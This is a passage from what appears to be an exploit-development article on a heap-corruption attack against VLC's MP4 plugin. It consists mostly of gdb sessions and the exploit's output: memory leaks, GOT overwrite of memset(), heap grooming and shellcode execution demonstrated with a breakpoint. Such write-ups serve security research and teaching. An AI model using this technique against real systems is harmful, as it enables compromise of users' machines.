|
||
|
|
||
|
[hk@lsd ~]$ gdb -q vlc
|
||
|
Reading symbols from xxx/bin/vlc...done.
|
||
|
(gdb) run --rc-host 127.0.0.1:8080
|
||
|
Starting program: xxx/bin/vlc --rc-host 127.0.0.1:8080
|
||
|
...
|
||
|
|
||
|
|
||
|
Let's run the exploit. The actual output may differ since the logs shown
|
||
|
below do not correspond to the latest version of our code (oh and by
|
||
|
the way, we are not fucking Python experts).
|
||
|
|
||
|
|
||
|
[hk@lsd ~]$ python main.py
|
||
|
usage: main.py <vlc_install_prefix> [<rc_port>]
|
||
|
[hk@lsd ~]$ python main.py xxx/ 8080
|
||
|
[~] Forcing VLC to load libmp4_plugin.so
|
||
|
[~] Playing MP4 file 1 times
|
||
|
.ok
|
||
|
[~] .got address for VLC binary is 0x0804ad60
|
||
|
[~] .got address for MP4 plugin is 0x00025e1c
|
||
|
[~] Index of memset() in MP4's .got is 35
|
||
|
[~] Requesing memory leak of .got
|
||
|
[~] Leaking 65535 bytes 0x0804ad60-0x0805ad5f
|
||
|
[~] Summary of our memory view
|
||
|
001 0x0804ad60-0x0805ad4a (65515 bytes)
|
||
|
[~] Got 65515 bytes of useful data
|
||
|
[~] Saving .got data in got.bin
|
||
|
[~] Guessed linkmap address is 0x28088000
|
||
|
[~] Requesting memory leak of linkmap
|
||
|
[~] Leaking 4194304 bytes 0x28086000-0x28486000
|
||
|
[~] Summary of our memory view
|
||
|
001 0x0804ad60-0x0805ad4a (65515 bytes)
|
||
|
002 0x28086000-0x28485feb (4194284 bytes)
|
||
|
[~] Got 4194284 bytes of useful data
|
||
|
[~] Saving linkmap partial data in linkmap-0x28086000.bin
|
||
|
001 0x08048000-0x00000000 unknown-0x08048000-0x00000000
|
||
|
002 0x2808e000-0x2817a084 libc.so.7
|
||
|
003 0x281a5000-0x281b95b4 libvlc.so.7
|
||
|
004 0x281bd000-0x28286234 libvlccore.so.4
|
||
|
005 0x282a7000-0x282e3c14 libdbus-1.so.3
|
||
|
006 0x282ed000-0x282f0814 librt.so.1
|
||
|
007 0x282f2000-0x28305a84 libm.so.5
|
||
|
008 0x2830c000-0x2831d334 libthr.so.3
|
||
|
009 0x28321000-0x28327d44 libintl.so.9
|
||
|
010 0x2832a000-0x28343eb4 libiconv.so.3
|
||
|
011 0x2842c000-0x2842ea84 liboss_plugin.so
|
||
|
012 0x28430000-0x28431734 libmemcpymmxext_plugin.so
|
||
|
013 0x28433000-0x284401b4 libaccess_bd_plugin.so
|
||
|
014 0x28442000-0x28443764 libaccess_mmap_plugin.so
|
||
|
015 0x28445000-0x28447c64 libfilesystem_plugin.so
|
||
|
016 0x2844a000-0x2844bc24 libdecomp_plugin.so
|
||
|
017 0x2844d000-0x2844ebd4 libstream_filter_rar_plugin.so
|
||
|
018 0x28450000-0x284563e4 libzip_plugin.so
|
||
|
019 0x28458000-0x28464a04 libz.so.5
|
||
|
020 0x2846a000-0x2846b244 libstream_filter_record_plugin.so
|
||
|
021 0x2846d000-0x2847e994 libplaylist_plugin.so
|
||
|
022 0x28482000-0x28483414 libxml_plugin.so
|
||
|
023 0x29300000-0x29402fb4 libxml2.so.5
|
||
|
024 0x28485000-0x2848a9c4 libhotkeys_plugin.so
|
||
|
025 0x2848d000-0x2848e384 libinhibit_plugin.so
|
||
|
026 0x28490000-0x28490fb4 libsignals_plugin.so
|
||
|
027 0x28493000-0x28494bd4 libglobalhotkeys_plugin.so
|
||
|
028 0x28497000-0x284982c4 libxcb-keysyms.so.1
|
||
|
029 0x2849a000-0x284af254 libxcb.so.2
|
||
|
030 0x284b2000-0x284b3754 libXau.so.6
|
||
|
031 0x284b5000-0x284b7b14 libXdmcp.so.6
|
||
|
032 0x284ba000-0x284ba574 libpthread-stubs.so.0
|
||
|
033 0x284bc000-0x284c43f4 liboldrc_plugin.so
|
||
|
034 0x284c8000-0x284e9da4 libmp4_plugin.so
|
||
|
[~] MP4 plugin is mmap'ed at 0x284c8000-0x284e9da4
|
||
|
[~] Absolute .got address for MP4 plugin at 0x284ede1c
|
||
|
[~] .got address of memset() is 0x284edea8
|
||
|
[~] .bss address for VLC binary is 0x0804adec
|
||
|
[~] Searching for bin[] address candidates
|
||
|
[~] Leaking 131070 bytes from current location
|
||
|
[~] Got 131050 bytes of useful data
|
||
|
0x0804c0a0...ok
|
||
|
[~] Leaking 65535 bytes 0x0804adec-0x0805adeb
|
||
|
[~] Summary of our memory view
|
||
|
001 0x0804ad60-0x0805ad4a (65515 bytes)
|
||
|
002 0x28086000-0x28485feb (4194284 bytes)
|
||
|
003 0x0804adec-0x0805add6 (65515 bytes)
|
||
|
[~] Got 65515 bytes of useful data
|
||
|
[~] bin-64 runcur at 0x2891a000, bin address 0x0804bfd8
|
||
|
[~] Playing MP4 file 16 times
|
||
|
................ok
|
||
|
[~] Leaking 7340032 bytes 0x28700000-0x28e00000
|
||
|
[~] Summary of our memory view
|
||
|
001 0x0804ad60-0x0805ad4a (65515 bytes)
|
||
|
002 0x28086000-0x28485feb (4194284 bytes)
|
||
|
003 0x0804adec-0x0805add6 (65515 bytes)
|
||
|
004 0x28700000-0x28dfffeb (7340012 bytes)
|
||
|
[~] Got 7340012 bytes of useful data
|
||
|
[~] Trying to locate target runs for bin-64 at 0x0804c0a0
|
||
|
64byte region run at 0x28912000
|
||
|
64byte region run at 0x28919000
|
||
|
64byte region run at 0x2891a000
|
||
|
64byte region run at 0x28933000
|
||
|
64byte region run at 0x289fc000
|
||
|
64byte region run at 0x289fd000
|
||
|
64byte region run at 0x289fe000
|
||
|
64byte region run at 0x28b32000
|
||
|
64byte region run at 0x28b33000
|
||
|
64byte region run at 0x28b34000
|
||
|
64byte region run at 0x28b36000
|
||
|
64byte region run at 0x28b37000
|
||
|
64byte region run at 0x28b38000
|
||
|
64byte region run at 0x28b39000
|
||
|
64byte region run at 0x28b3a000
|
||
|
64byte region run at 0x28b3b000
|
||
|
64byte region run at 0x28bac000
|
||
|
64byte region run at 0x28bad000
|
||
|
64byte region run at 0x28bae000
|
||
|
64byte region run at 0x28baf000
|
||
|
[~] Constructing final MP4 payload
|
||
|
[~] Will free the following memory regions
|
||
|
0x28912080...0x289120c0...0x28912100...0x28912140...0x28912180...
|
||
|
0x289121c0...0x28912200...0x28912240...0x28912280...0x289122c0...
|
||
|
0x28912300...0x28912340...0x28912380...0x289123c0...0x28912400...
|
||
|
0x28912440...0x28912480...0x289124c0...0x28912500...0x28912540...
|
||
|
0x28912580...0x289125c0...0x28912600...0x28912640...0x28912680...
|
||
|
0x289126c0...0x28912700...0x28912740...0x28912780...0x289127c0...
|
||
|
0x28912800...0x28912840...0x28912880...0x289128c0...0x28912900...
|
||
|
0x28912940...0x28912980...0x289129c0...0x28912a00...0x28912a40...
|
||
|
0x28912a80...0x28912ac0...0x28912b00...0x28912b40...0x28912b80...
|
||
|
0x28912bc0...0x28912c00...0x28912c40...0x28912c80...0x28912cc0...
|
||
|
0x28912d00...0x28912d40...0x28912d80...0x28912dc0...0x28912e00...
|
||
|
0x28912e40...0x28912e80...0x28912ec0...0x28912f00...0x28912f40...
|
||
|
0x28912f80...0x28912fc0...0x28919080...0x289190c0...0x28919100...
|
||
|
0x28919140...0x28919180...0x289191c0...0x28919200...0x28919240...
|
||
|
0x28919280...0x289192c0...0x28919300...0x28919340...0x28919380...
|
||
|
0x289193c0...0x28919400...0x28919440...0x28919480...0x289194c0...
|
||
|
0x28919500...0x28919540...0x28919580...0x289195c0...0x28919600...
|
||
|
0x28919640...0x28919680...0x289196c0...0x28919700...0x28919740...
|
||
|
0x28919780...0x289197c0...0x28919800...0x28919840...0x28919880...
|
||
|
0x289198c0...0x28919900...0x28919940...0x28919980...0x289199c0...
|
||
|
0x28919a00...0x28919a40...0x28919a80...0x28919ac0...0x28919b00...
|
||
|
0x28919b40...0x28919b80...0x28919bc0...0x28919c00...0x28919c40...
|
||
|
0x28919c80...0x28919cc0...0x28919d00...0x28919d40...0x28919d80...
|
||
|
0x28919dc0...0x28919e00...0x28919e40...0x28919e80...0x28919ec0...
|
||
|
0x28919f00...0x28919f40...0x28919f80...0x28919fc0...0x2891a080...
|
||
|
0x2891a0c0...0x2891a100...0x2891a140...0x2891a180...0x2891a1c0...
|
||
|
0x2891a200...0x2891a240...0x2891a280...0x2891a2c0...0x2891a300...
|
||
|
0x2891a340...0x2891a380...0x2891a3c0...0x2891a400...0x2891a440...
|
||
|
0x2891a480...0x2891a4c0...0x2891a500...0x2891a540...0x2891a580...
|
||
|
0x2891a5c0...0x2891a600...0x2891a640...0x2891a680...0x2891a6c0...
|
||
|
0x2891a700...0x2891a740...0x2891a780...0x2891a7c0...0x2891a800...
|
||
|
0x2891a840...0x2891a880...0x2891a8c0...0x2891a900...0x2891a940...
|
||
|
0x2891a980...0x2891a9c0...0x2891aa00...0x2891aa40...0x2891aa80...
|
||
|
0x2891aac0...0x2891ab00...0x2891ab40...0x2891ab80...0x2891abc0...
|
||
|
0x2891ac00...0x2891ac40...0x2891ac80...0x2891acc0...0x2891ad00...
|
||
|
0x2891ad40...0x2891ad80...0x2891adc0...0x2891ae00...0x2891ae40...
|
||
|
0x2891ae80...0x2891aec0...0x2891af00...0x2891af40...0x2891af80...
|
||
|
0x2891afc0...0x28933080...0x289330c0...0x28933100...0x28933140...
|
||
|
0x28933180...0x289331c0...0x28933200...0x28933240...0x28933280...
|
||
|
0x289332c0...0x28933300...0x28933340...0x28933380...0x289333c0...
|
||
|
0x28933400...0x28933440...0x28933480...0x289334c0...0x28933500...
|
||
|
0x28933540...0x28933580...0x289335c0...0x28933600...0x28933640...
|
||
|
0x28933680...0x289336c0...0x28933700...0x28933740...0x28933780...
|
||
|
0x289337c0...0x28933800...0x28933840...0x28933880...0x289338c0...
|
||
|
0x28933900...0x28933940...0x28933980...0x289339c0...0x28933a00...
|
||
|
0x28933a40...0x28933a80...0x28933ac0...0x28933b00...0x28933b40...
|
||
|
0x28933b80...0x28933bc0...0x28933c00...0x28933c40...0x28933c80...
|
||
|
0x28933cc0...0x28933d00...0x28933d40...0x28933d80...0x28933dc0...
|
||
|
0x28933e00...0x28933e40...0x28933e80...0x28933ec0...0x28933f00...
|
||
|
0x28933f40...0x28933f80...0x28933fc0...0x289fc080...0x289fc0c0...
|
||
|
0x289fc100...0x289fc140...0x289fc180...0x289fc1c0...0x289fc200...
|
||
|
0x289fc240...0x289fc280...0x289fc2c0...0x289fc300...0x289fc340...
|
||
|
0x289fc380...0x289fc3c0...0x289fc400...0x289fc440...0x289fc480...
|
||
|
0x289fc4c0...0x289fc500...0x289fc540...0x289fc580...0x289fc5c0...
|
||
|
0x289fc600...0x289fc640...0x289fc680...0x289fc6c0...0x289fc700...
|
||
|
0x289fc740...0x289fc780...0x289fc7c0...0x289fc800...0x289fc840...
|
||
|
0x289fc880...0x289fc8c0...0x289fc900...0x289fc940...0x289fc980...
|
||
|
0x289fc9c0...0x289fca00...0x289fca40...0x289fca80...0x289fcac0...
|
||
|
0x289fcb00...0x289fcb40...0x289fcb80...0x289fcbc0...0x289fcc00...
|
||
|
0x289fcc40...0x289fcc80...0x289fccc0...0x289fcd00...0x289fcd40...
|
||
|
0x289fcd80...0x289fcdc0...0x289fce00...0x289fce40...0x289fce80...
|
||
|
0x289fcec0...0x289fcf00...0x289fcf40...0x289fcf80...0x289fcfc0...
|
||
|
0x289fd080...0x289fd0c0...0x289fd100...0x289fd140...0x289fd180...
|
||
|
0x289fd3c0...0x289fd400...0x289fd440...0x289fd480...0x289fd4c0...
|
||
|
0x289fd500...0x289fd540...0x289fd580...0x289fd5c0...0x289fd600...
|
||
|
0x289fd640...0x289fd680...0x289fd6c0...0x289fd700...0x289fd740...
|
||
|
0x289fd780...0x289fd7c0...0x289fd800...0x289fd840...0x289fd880...
|
||
|
0x289fd8c0...0x289fd900...0x289fd940...0x289fd980...0x289fd9c0...
|
||
|
0x289fda00...0x289fda40...0x289fda80...0x289fdac0...0x289fdb00...
|
||
|
0x289fdb40...0x289fdb80...0x289fdbc0...0x289fdc00...0x289fdc40...
|
||
|
0x289fdc80...0x289fdcc0...0x289fdd00...0x289fdd40...0x289fdd80...
|
||
|
0x289fddc0...0x289fde00...0x289fde40...0x289fde80...0x289fdec0...
|
||
|
0x289fdf00...0x289fdf40...0x289fdf80...0x289fdfc0...0x289fe080...
|
||
|
0x289fe0c0...0x289fe100...0x289fe140...0x289fe180...0x289fe1c0...
|
||
|
0x289fe200...0x289fe240...0x289fe280...0x289fe2c0...0x289fe300...
|
||
|
0x289fe340...0x289fe380...0x289fe3c0...0x289fe400...0x289fe440...
|
||
|
0x289fe480...0x289fe4c0...0x289fe500...0x289fe540...0x289fe580...
|
||
|
0x289fe5c0...0x289fe600...0x289fe640...0x289fe680...0x289fe6c0...
|
||
|
0x289fe700...0x289fe740...0x289fe780...0x289fe7c0...0x289fe800...
|
||
|
0x289fe840...0x289fe880...0x289fe8c0...0x289fe900...0x289fe940...
|
||
|
0x289fe980...0x289fe9c0...0x289fea00...0x289fea40...0x289fea80...
|
||
|
0x289feac0...0x289feb00...0x289feb40...0x289feb80...0x289febc0...
|
||
|
0x289fec00...0x289fec40...0x289fec80...0x289fecc0...0x289fed00...
|
||
|
0x289fed40...0x289fed80...0x289fedc0...0x289fee00...0x289fee40...
|
||
|
0x289fee80...0x289feec0...0x289fef00...0x289fef40...0x289fef80...
|
||
|
0x289fefc0...0x28b32080...0x28b320c0...0x28b32100...0x28b32140...
|
||
|
0x28b32180...0x28b321c0...0x28b32200...0x28b32240...0x28b32280...
|
||
|
0x28b322c0...0x28b32300...0x28b32340...0x28b32380...0x28b323c0...
|
||
|
0x28b32400...0x28b32440...0x28b32480...0x28b324c0...0x28b32500...
|
||
|
0x28b32540...0x28b32580...0x28b325c0...0x28b32600...0x28b32640...
|
||
|
0x28b32680...0x28b326c0...0x28b32700...0x28b32740...0x28b32780...
|
||
|
0x28b327c0...0x28b32800...0x28b32840...0x28b32880...0x28b328c0...
|
||
|
0x28b32900...0x28b32940...0x28b32980...0x28b329c0...0x28b32a00...
|
||
|
0x28b32a40...0x28b32a80...0x28b32ac0...0x28b32b00...0x28b32b40...
|
||
|
0x28b32b80...0x28b32bc0...0x28b32c00...0x28b32c40...0x28b32c80...
|
||
|
0x28b32cc0...0x28b32d00...0x28b32d40...0x28b32d80...0x28b32dc0...
|
||
|
0x28b32e00...0x28b32e40...0x28b32e80...0x28b32ec0...0x28b32f00...
|
||
|
0x28b32f40...0x28b32f80...0x28b32fc0...0x28b33080...0x28b330c0...
|
||
|
0x28b33100...0x28b33140...0x28b33180...0x28b331c0...0x28b33200...
|
||
|
0x28b33240...0x28b33280...0x28b332c0...0x28b33300...0x28b33340...
|
||
|
0x28b33380...0x28b333c0...0x28b33400...0x28b33440...0x28b33480...
|
||
|
0x28b334c0...0x28b33500...0x28b33540...0x28b33580...0x28b335c0...
|
||
|
0x28b33600...0x28b33640...0x28b33680...0x28b336c0...0x28b33700...
|
||
|
0x28b33740...0x28b33780...0x28b337c0...0x28b33800...0x28b33840...
|
||
|
0x28b33880...0x28b338c0...0x28b33900...0x28b33940...0x28b33980...
|
||
|
0x28b339c0...0x28b33a00...0x28b33a40...0x28b33a80...0x28b33ac0...
|
||
|
0x28b33b00...0x28b33b40...0x28b33b80...0x28b33bc0...0x28b33c00...
|
||
|
0x28b33c40...0x28b33c80...0x28b33cc0...0x28b33d00...0x28b33d40...
|
||
|
0x28b33d80...0x28b33dc0...0x28b33e00...0x28b33e40...0x28b33e80...
|
||
|
0x28b33ec0...0x28b33f00...0x28b33f40...0x28b33f80...0x28b33fc0...
|
||
|
0x28b34080...0x28b340c0...0x28b34100...0x28b34140...0x28b34180...
|
||
|
0x28b341c0...0x28b34200...0x28b34240...0x28b34280...0x28b342c0...
|
||
|
0x28b34300...0x28b34340...0x28b34380...0x28b343c0...0x28b34400...
|
||
|
0x28b34440...0x28b34480...0x28b344c0...0x28b34500...0x28b34540...
|
||
|
0x28b34580...0x28b345c0...0x28b34600...0x28b34640...0x28b34680...
|
||
|
0x28b346c0...0x28b34700...0x28b34740...0x28b34780...0x28b347c0...
|
||
|
0x28b34800...0x28b34840...0x28b34880...0x28b348c0...0x28b34900...
|
||
|
0x28b34940...0x28b34980...0x28b349c0...0x28b34a00...0x28b34a40...
|
||
|
0x28b34a80...0x28b34ac0...0x28b34b00...0x28b34b40...0x28b34b80...
|
||
|
0x28b34bc0...0x28b34c00...0x28b34c40...0x28b34c80...0x28b34cc0...
|
||
|
0x28b34d00...0x28b34d40...0x28b34d80...0x28b34dc0...0x28b34e00...
|
||
|
0x28b34e40...0x28b34e80...0x28b34ec0...0x28b34f00...0x28b34f40...
|
||
|
0x28b34f80...0x28b34fc0...0x28b36080...0x28b360c0...0x28b36100...
|
||
|
0x28b36140...0x28b36180...0x28b361c0...0x28b36200...0x28b36240...
|
||
|
0x28b36280...0x28b362c0...0x28b36300...0x28b36340...0x28b36380...
|
||
|
0x28b363c0...0x28b36400...0x28b36440...0x28b36480...0x28b364c0...
|
||
|
0x28b36500...0x28b36540...0x28b36580...0x28b365c0...0x28b36600...
|
||
|
0x28b36640...0x28b36680...0x28b366c0...0x28b36700...0x28b36740...
|
||
|
0x28b36780...0x28b367c0...0x28b36800...0x28b36840...0x28b36880...
|
||
|
0x28b368c0...0x28b36900...0x28b36940...0x28b36980...0x28b369c0...
|
||
|
0x28b36a00...0x28b36a40...0x28b36a80...0x28b36ac0...0x28b36b00...
|
||
|
0x28b36b40...0x28b36b80...0x28b36bc0...0x28b36c00...0x28b36c40...
|
||
|
0x28b36c80...0x28b36cc0...0x28b36d00...0x28b36d40...0x28b36d80...
|
||
|
0x28b36dc0...0x28b36e00...0x28b36e40...0x28b36e80...0x28b36ec0...
|
||
|
0x28b36f00...0x28b36f40...0x28b36f80...0x28b36fc0...0x28b37080...
|
||
|
0x28b370c0...0x28b37100...0x28b37140...0x28b37180...0x28b371c0...
|
||
|
0x28b37200...0x28b37240...0x28b37280...0x28b372c0...0x28b37300...
|
||
|
0x28b37340...0x28b37380...0x28b373c0...0x28b37400...0x28b37440...
|
||
|
0x28b37480...0x28b374c0...0x28b37500...0x28b37540...0x28b37580...
|
||
|
0x28b375c0...0x28b37600...0x28b37640...0x28b37680...0x28b376c0...
|
||
|
0x28b37700...0x28b37740...0x28b37780...0x28b377c0...0x28b37800...
|
||
|
0x28b37840...0x28b37880...0x28b378c0...0x28b37900...0x28b37940...
|
||
|
0x28b37980...0x28b379c0...0x28b37a00...0x28b37a40...0x28b37a80...
|
||
|
0x28b37ac0...0x28b37b00...0x28b37b40...0x28b37b80...0x28b37bc0...
|
||
|
0x28b37c00...0x28b37c40...0x28b37c80...0x28b37cc0...0x28b37d00...
|
||
|
0x28b37d40...0x28b37d80...0x28b37dc0...0x28b37e00...0x28b37e40...
|
||
|
0x28b37e80...0x28b37ec0...0x28b37f00...0x28b37f40...0x28b37f80...
|
||
|
0x28b37fc0...0x28b38080...0x28b380c0...0x28b38100...0x28b38140...
|
||
|
0x28b38180...0x28b381c0...0x28b38200...0x28b38240...0x28b38280...
|
||
|
0x28b382c0...0x28b38300...0x28b38340...0x28b38380...0x28b383c0...
|
||
|
0x28b38400...0x28b38440...0x28b38480...0x28b384c0...0x28b38500...
|
||
|
0x28b38540...0x28b38580...0x28b385c0...0x28b38600...0x28b38640...
|
||
|
0x28b38680...0x28b386c0...0x28b38700...0x28b38740...0x28b38780...
|
||
|
0x28b387c0...0x28b38800...0x28b38840...0x28b38880...0x28b388c0...
|
||
|
0x28b38900...0x28b38940...0x28b38980...0x28b389c0...0x28b38a00...
|
||
|
0x28b38a40...0x28b38a80...0x28b38ac0...0x28b38b00...0x28b38b40...
|
||
|
0x28b38b80...0x28b38bc0...0x28b38c00...0x28b38c40...0x28b38c80...
|
||
|
0x28b38cc0...0x28b38d00...0x28b38d40...0x28b38d80...0x28b38dc0...
|
||
|
0x28b38e00...0x28b38e40...0x28b38e80...0x28b38ec0...0x28b38f00...
|
||
|
0x28b38f40...0x28b38f80...0x28b38fc0...0x28b39080...0x28b390c0...
|
||
|
0x28b39100...0x28b39140...0x28b39180...0x28b391c0...0x28b39200...
|
||
|
0x28b39240...0x28b39280...0x28b392c0...0x28b39300...0x28b39340...
|
||
|
0x28b39380...0x28b393c0...0x28b39400...0x28b39440...0x28b39480...
|
||
|
0x28b394c0...0x28b39500...0x28b39540...0x28b39580...0x28b395c0...
|
||
|
0x28b39600...0x28b39640...0x28b39680...0x28b396c0...0x28b39700...
|
||
|
0x28b39740...0x28b39780...0x28b397c0...0x28b39800...0x28b39840...
|
||
|
0x28b39880...0x28b398c0...0x28b39900...0x28b39940...0x28b39980...
|
||
|
0x28b399c0...0x28b39a00...0x28b39a40...0x28b39a80...0x28b39ac0...
|
||
|
0x28b39b00...0x28b39b40...0x28b39b80...0x28b39bc0...0x28b39c00...
|
||
|
0x28b39c40...0x28b39c80...0x28b39cc0...0x28b39d00...0x28b39d40...
|
||
|
0x28b39d80...0x28b39dc0...0x28b39e00...0x28b39e40...0x28b39e80...
|
||
|
0x28b39ec0...0x28b39f00...0x28b39f40...0x28b39f80...0x28b39fc0...
|
||
|
0x28b3a080...0x28b3a0c0...0x28b3a100...0x28b3a140...0x28b3a180...
|
||
|
0x28b3a1c0...0x28b3a200...0x28b3a240...0x28b3a280...0x28b3a2c0...
|
||
|
0x28b3a300...0x28b3a340...0x28b3a380...0x28b3a3c0...0x28b3a400...
|
||
|
0x28b3a440...0x28b3a480...0x28b3a4c0...0x28b3a500...0x28b3a540...
|
||
|
0x28b3a580...0x28b3a5c0...0x28b3a600...0x28b3a640...0x28b3a680...
|
||
|
0x28b3a6c0...0x28b3a700...0x28b3a740...0x28b3a780...0x28b3a7c0...
|
||
|
0x28b3a800...0x28b3a840...0x28b3a880...0x28b3a8c0...0x28b3a900...
|
||
|
0x28b3a940...0x28b3a980...0x28b3a9c0...0x28b3aa00...0x28b3aa40...
|
||
|
0x28b3aa80...0x28b3aac0...0x28b3ab00...0x28b3ab40...0x28b3ab80...
|
||
|
0x28b3abc0...0x28b3ac00...0x28b3ac40...0x28b3ac80...0x28b3acc0...
|
||
|
0x28b3ad00...0x28b3ad40...0x28b3ad80...0x28b3adc0...0x28b3ae00...
|
||
|
0x28b3ae40...0x28b3ae80...0x28b3aec0...0x28b3af00...0x28b3af40...
|
||
|
0x28b3af80...0x28b3afc0...0x28b3b080...0x28b3b0c0...0x28b3b100...
|
||
|
0x28b3b140...0x28b3b180...0x28b3b1c0...0x28b3b200...0x28b3b240...
|
||
|
0x28b3b280...0x28b3b2c0...0x28b3b300...0x28b3b340...0x28b3b380...
|
||
|
0x28b3b3c0...0x28b3b400...0x28b3b440...0x28b3b480...0x28b3b4c0...
|
||
|
0x28b3b500...0x28b3b540...0x28b3b580...0x28b3b5c0...0x28b3b600...
|
||
|
0x28b3b640...0x28b3b680...0x28b3b6c0...0x28b3b700...0x28b3b740...
|
||
|
0x28b3b780...0x28b3b7c0...0x28b3b800...0x28b3b840...0x28b3b880...
|
||
|
0x28b3b8c0...0x28b3b900...0x28b3b940...0x28b3b980...0x28b3b9c0...
|
||
|
0x28b3ba00...0x28b3ba40...0x28b3ba80...0x28b3bac0...0x28b3bb00...
|
||
|
0x28b3bb40...0x28b3bb80...0x28b3bbc0...0x28b3bc00...0x28b3bc40...
|
||
|
0x28b3bc80...0x28b3bcc0...0x28b3bd00...0x28b3bd40...0x28b3bd80...
|
||
|
0x28b3bdc0...0x28b3be00...0x28b3be40...0x28b3be80...0x28b3bec0...
|
||
|
0x28b3bf00...0x28b3bf40...0x28b3bf80...0x28b3bfc0...0x28bac080...
|
||
|
0x28bac0c0...0x28bac100...0x28bac140...0x28bac180...0x28bac1c0...
|
||
|
0x28bac200...0x28bac240...0x28bac280...0x28bac2c0...0x28bac300...
|
||
|
0x28bac340...0x28bac380...0x28bac3c0...0x28bac400...0x28bac440...
|
||
|
0x28bac480...0x28bac4c0...0x28bac500...0x28bac540...0x28bac580...
|
||
|
0x28bac5c0...0x28bac600...0x28bac640...0x28bac680...0x28bac6c0...
|
||
|
0x28bac700...0x28bac740...0x28bac780...0x28bac7c0...0x28bac800...
|
||
|
0x28bac840...0x28bac880...0x28bac8c0...0x28bac900...0x28bac940...
|
||
|
0x28bac980...0x28bac9c0...0x28baca00...0x28baca40...0x28baca80...
|
||
|
0x28bacac0...0x28bacb00...0x28bacb40...0x28bacb80...0x28bacbc0...
|
||
|
0x28bacc00...0x28bacc40...0x28bacc80...0x28baccc0...0x28bacd00...
|
||
|
0x28bacd40...0x28bacd80...0x28bacdc0...0x28bace00...0x28bace40...
|
||
|
0x28bace80...0x28bacec0...0x28bacf00...0x28bacf40...0x28bacf80...
|
||
|
0x28bacfc0...0x28bad080...0x28bad0c0...0x28bad100...0x28bad140...
|
||
|
0x28bad180...0x28bad1c0...0x28bad200...0x28bad240...0x28bad280...
|
||
|
0x28bad2c0...0x28bad300...0x28bad340...0x28bad380...0x28bad3c0...
|
||
|
0x28bad400...0x28bad440...0x28bad480...0x28bad4c0...0x28bad500...
|
||
|
0x28bad540...0x28bad580...0x28bad5c0...0x28bad600...0x28bad640...
|
||
|
0x28bad680...0x28bad6c0...0x28bad700...0x28bad740...0x28bad780...
|
||
|
0x28bad7c0...0x28bad800...0x28bad840...0x28bad880...0x28bad8c0...
|
||
|
0x28bad900...0x28bad940...0x28bad980...0x28bad9c0...0x28bada00...
|
||
|
0x28bada40...0x28bada80...0x28badac0...0x28badb00...0x28badb40...
|
||
|
0x28badb80...0x28badbc0...0x28badc00...0x28badc40...0x28badc80...
|
||
|
0x28badcc0...0x28badd00...0x28badd40...0x28badd80...0x28baddc0...
|
||
|
0x28bade00...0x28bade40...0x28bade80...0x28badec0...0x28badf00...
|
||
|
0x28badf40...0x28badf80...0x28badfc0...0x28bae080...0x28bae0c0...
|
||
|
0x28bae100...0x28bae140...0x28bae180...0x28bae1c0...0x28bae200...
|
||
|
0x28bae240...0x28bae280...0x28bae2c0...0x28bae300...0x28bae340...
|
||
|
0x28bae380...0x28bae3c0...0x28bae400...0x28bae440...0x28bae480...
|
||
|
0x28bae4c0...0x28bae500...0x28bae540...0x28bae580...0x28bae5c0...
|
||
|
0x28bae600...0x28bae640...0x28bae680...0x28bae6c0...0x28bae700...
|
||
|
0x28bae740...0x28bae780...0x28bae7c0...0x28bae800...0x28bae840...
|
||
|
0x28bae880...0x28bae8c0...0x28bae900...0x28bae940...0x28bae980...
|
||
|
0x28bae9c0...0x28baea00...0x28baea40...0x28baea80...0x28baeac0...
|
||
|
0x28baeb00...0x28baeb40...0x28baeb80...0x28baebc0...0x28baec00...
|
||
|
0x28baec40...0x28baec80...0x28baecc0...0x28baed00...0x28baed40...
|
||
|
0x28baed80...0x28baedc0...0x28baee00...0x28baee40...0x28baee80...
|
||
|
0x28baeec0...0x28baef00...0x28baef40...0x28baef80...0x28baefc0...
|
||
|
0x28baf080...0x28baf0c0...0x28baf100...0x28baf140...0x28baf180...
|
||
|
0x28baf1c0...0x28baf200...0x28baf240...0x28baf280...0x28baf2c0...
|
||
|
0x28baf300...0x28baf340...0x28baf380...0x28baf3c0...0x28baf400...
|
||
|
0x28baf440...0x28baf480...0x28baf4c0...0x28baf500...0x28baf540...
|
||
|
0x28baf580...0x28baf5c0...0x28baf600...0x28baf640...0x28baf680...
|
||
|
0x28baf6c0...0x28baf700...0x28baf740...0x28baf780...0x28baf7c0...
|
||
|
0x28baf800...0x28baf840...0x28baf880...0x28baf8c0...0x28baf900...
|
||
|
0x28baf940...0x28baf980...0x28baf9c0...0x28bafa00...0x28bafa40...
|
||
|
0x28bafa80...0x28bafac0...0x28bafb00...0x28bafb40...0x28bafb80...
|
||
|
0x28bafbc0...0x28bafc00...0x28bafc40...0x28bafc80...0x28bafcc0...
|
||
|
0x28bafd00...0x28bafd40...0x28bafd80...0x28bafdc0...0x28bafe00...
|
||
|
0x28bafe40...0x28bafe80...0x28bafec0...0x28baff00...0x28baff40...
|
||
|
0x28baff80...0x28baffc0...ok
|
||
|
[~] Forcing shellcode execution
|
||
|
[~] Playing MP4 file 1 times
|
||
|
.ok
|
||
|
[~] Done
|
||
|
|
||
|
|
||
|
The console on the other side looks like the following:
|
||
|
|
||
|
|
||
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
||
|
0x28919b01 in ?? ()
|
||
|
|
||
|
|
||
|
The exploit output informs us that the .got entry for memset() lies
|
||
|
at 0x284edea8. Let's verify...
|
||
|
|
||
|
|
||
|
(gdb) x/4bx 0x284edea8
|
||
|
0x284edea8: 0x00 0x9b 0x91 0x28
|
||
|
(gdb) x/i 0x28919b00
|
||
|
0x28919b00: int3
|
||
|
|
||
|
|
||
|
Obviously, it has been overwritten with the pointer to our ASM
|
||
|
instructions. The 'SIGTRAP' informs us that EIP landed on top of them.
|
||
|
|
||
|
|
||
|
(gdb) quit
|
||
|
A debugging session is active.
|
||
|
|
||
|
Inferior 1 [process 2078] will be killed.
|
||
|
|
||
|
Quit anyway? (y or n) y
|
||
|
|
||
|
|
||
|
If you decide no to use gdb (that's what real men do), the following
|
||
|
message will pop up upon successful exploitation.
|
||
|
|
||
|
|
||
|
Trace/BPT trap: 5 (core dumped)
|
||
|
|
||
|
|
||
|
--[ 7 - Limitations
|
||
|
|
||
|
As we promised, we will give a list of the factors that limit our
|
||
|
exploit's reliability. People interested in improving our code should
|
||
|
first have a look below.
|
||
|
|
||
|
1 - Back in the section we analyzed the RMF vulnerability, we said that
|
||
|
the memory range we want leaked, is trashed with 'i_frame_size' bytes;
|
||
|
in our exploit code we use a frame size of 20, so, 20 bytes end up being
|
||
|
written at the target address. Apparently, because of this trashing of the
|
||
|
